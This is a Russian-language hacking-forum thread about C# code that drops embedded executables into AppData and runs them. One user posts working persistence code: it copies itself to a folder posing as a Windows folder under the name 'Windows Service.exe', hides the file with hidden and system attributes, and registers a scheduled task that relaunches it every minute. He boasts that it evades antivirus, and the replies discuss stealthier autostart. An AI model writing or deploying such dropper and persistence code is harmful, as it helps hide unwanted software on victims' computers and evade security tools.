Проблема C# распаковать из ресурсов 2 exe в AppDate и запустить

NEUCH

Green Team
26.07.2019
21
3
BIT
0
Помогите пожалуйста, Как распаковать их в AppDate предварительно проверив наличие если нету то скопировать и запустить, если есть то не чего не делать, сейчас они создаются рядом.

C#:
     try
                {


                File.WriteAllBytes("TestSoft1.exe", Properties.Resources.TestSoft1); // создаем файл *****.exe из бинарного массива **** в Resources (если он есть, то будет переопределен)
                    Process.Start("TestSoft1.exe"); // Запускаем созданный нами *****.exe
                }
                catch { }

                try
                {
               
                File.WriteAllBytes("TestSoft2.exe", Properties.Resources.TestSoft2); // создаем файл *****.exe из бинарного массива **** в Resources (если он есть, то будет переопределен)
                    Process.Start("TestSoft2.exe"); // Запускаем созданный нами *****.exe
                }
                catch { }
 

centr

Green Team
31.01.2017
408
477
BIT
0
C#:
if(!System.IO.File.Exists("TestSoft1.exe"))

{

File.WriteAllBytes("TestSoft1.exe", Properties.Resources.TestSoft1); // создаем файл *****.exe из бинарного массива **** в Resources (если он есть, то будет переопределен)
                    Process.Start("TestSoft1.exe"); // Запускаем созданный нами *****.exe
              

}
Не знаю с, вообще даже справочник не открывал.
 

NEUCH

Green Team
26.07.2019
21
3
BIT
0
C#:
if(!System.IO.File.Exists("TestSoft1.exe"))

{

File.WriteAllBytes("TestSoft1.exe", Properties.Resources.TestSoft1); // создаем файл *****.exe из бинарного массива **** в Resources (если он есть, то будет переопределен)
                    Process.Start("TestSoft1.exe"); // Запускаем созданный нами *****.exe
             

}
Не знаю с, вообще даже справочник не открывал.
Не то
 

Egolds

Green Team
17.02.2019
20
15
BIT
0
Вот так получаешь AppData:
C#:
string AppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);


А вот так создаешь ветку расположения:
C#:
string filePath = Path.Combine(AppDataPath, "file.exe");


Ну и дальше проверяешь наличие:
C#:
if(File.Exists(filePath))
{
    // если есть файл
}
else
{
    // если нет файла, копируешь и запускаешь
}
 
  • Нравится
Реакции: NEUCH

NEUCH

Green Team
26.07.2019
21
3
BIT
0
Вот так получаешь AppData:
C#:
string AppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);


А вот так создаешь ветку расположения:
C#:
string filePath = Path.Combine(AppDataPath, "file.exe");


Ну и дальше проверяешь наличие:
C#:
if(File.Exists(filePath))
{
    // если есть файл
}
else
{
    // если нет файла, копируешь и запускаешь
}
То что нужно, спасибо большое!
 
  • Нравится
Реакции: Egolds

NEUCH

Green Team
26.07.2019
21
3
BIT
0
Кстати это я пишу) по авке распознал тя)
Хотел твой метод использовать для своего проекта, но слишком запутанный, не стал.
b26c1d3621.jpg
 
  • Нравится
Реакции: Egolds

NEUCH

Green Team
26.07.2019
21
3
BIT
0
Я попроще реализировал автозапуск:

C#:
 static void Main()
        {

            string dir = Environment.GetEnvironmentVariable("AppData") + "\\Windows Folder"; // Путь к папке где будет храниться файл
            string file = "Windows Service.exe"; // Имя файла

            try
            {
                if (!Directory.Exists(dir)) // Проверка на наличие папки
                    Directory.CreateDirectory(dir); // Если не существует, то создаем

                if (!File.Exists(dir + "\\" + file)) // Проверка на наличие файла  в папке
                    File.Copy(Assembly.GetExecutingAssembly().Location, dir + "\\" + file); // Копируемся

                File.SetAttributes(dir + "\\" + file, FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
                File.SetAttributes(dir + "\\" + file, FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
            }
            catch { }


            try
            {
                var startInfo = new ProcessStartInfo(); // Создаем процесс
                startInfo.FileName = "schtasks.exe"; // Выбираем планировщик задач
                startInfo.CreateNoWindow = false; // Скрываем от пользователя
                startInfo.WindowStyle = ProcessWindowStyle.Hidden; // Скрываем от пользователя
                startInfo.Arguments = @"/create /sc MINUTE /mo 1 /tn ""Windows Service"" /tr """ + dir + "\\" + file + @""" /f"; // Аргументы для запуска
                Process.Start(startInfo); // Запускаем

            }
            catch { }

Код мой, долго кропел над ним, пока чистый от ав. Может топорный, но я пока учусь.
 

Egolds

Green Team
17.02.2019
20
15
BIT
0
Кстати это я пишу) по авке распознал тя)
Хотел твой метод использовать для своего проекта, но слишком запутанный, не стал.
Посмотреть вложение 32406
ахаха, прикол)

Ну да, есть что оптимизировать и дополнять, можно использовать только как дополнение, но не основной метод установки в автозагрузку.



Я попроще реализировал автозапуск:

C#:
 static void Main()
        {

            string dir = Environment.GetEnvironmentVariable("AppData") + "\\Windows Folder"; // Путь к папке где будет храниться файл
            string file = "Windows Service.exe"; // Имя файла

            try
            {
                if (!Directory.Exists(dir)) // Проверка на наличие папки
                    Directory.CreateDirectory(dir); // Если не существует, то создаем

                if (!File.Exists(dir + "\\" + file)) // Проверка на наличие файла  в папке
                    File.Copy(Assembly.GetExecutingAssembly().Location, dir + "\\" + file); // Копируемся

                File.SetAttributes(dir + "\\" + file, FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
                File.SetAttributes(dir + "\\" + file, FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
            }
            catch { }


            try
            {
                var startInfo = new ProcessStartInfo(); // Создаем процесс
                startInfo.FileName = "schtasks.exe"; // Выбираем планировщик задач
                startInfo.CreateNoWindow = false; // Скрываем от пользователя
                startInfo.WindowStyle = ProcessWindowStyle.Hidden; // Скрываем от пользователя
                startInfo.Arguments = @"/create /sc MINUTE /mo 1 /tn ""Windows Service"" /tr """ + dir + "\\" + file + @""" /f"; // Аргументы для запуска
                Process.Start(startInfo); // Запускаем

            }
            catch { }

Код мой, долго кропел над ним, пока чистый от ав. Может топорный, но я пока учусь.

можно и так, но тогда он будет виден в планировщике)
 

NEUCH

Green Team
26.07.2019
21
3
BIT
0
ахаха, прикол)

Ну да, есть что оптимизировать и дополнять, можно использовать только как дополнение, но не основной метод установки в автозагрузку.





можно и так, но тогда он будет виден в планировщике)

Да, палится в планировщике, но рантайм чист, скантайм то же, максимум умный юзер распознает. За то минимум кода я думаю хоть и топорно. Твоей метод я еще гляну потом, он реально хороший надо его до ума довести, точнее достроить логику.
 
  • Нравится
Реакции: Egolds
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!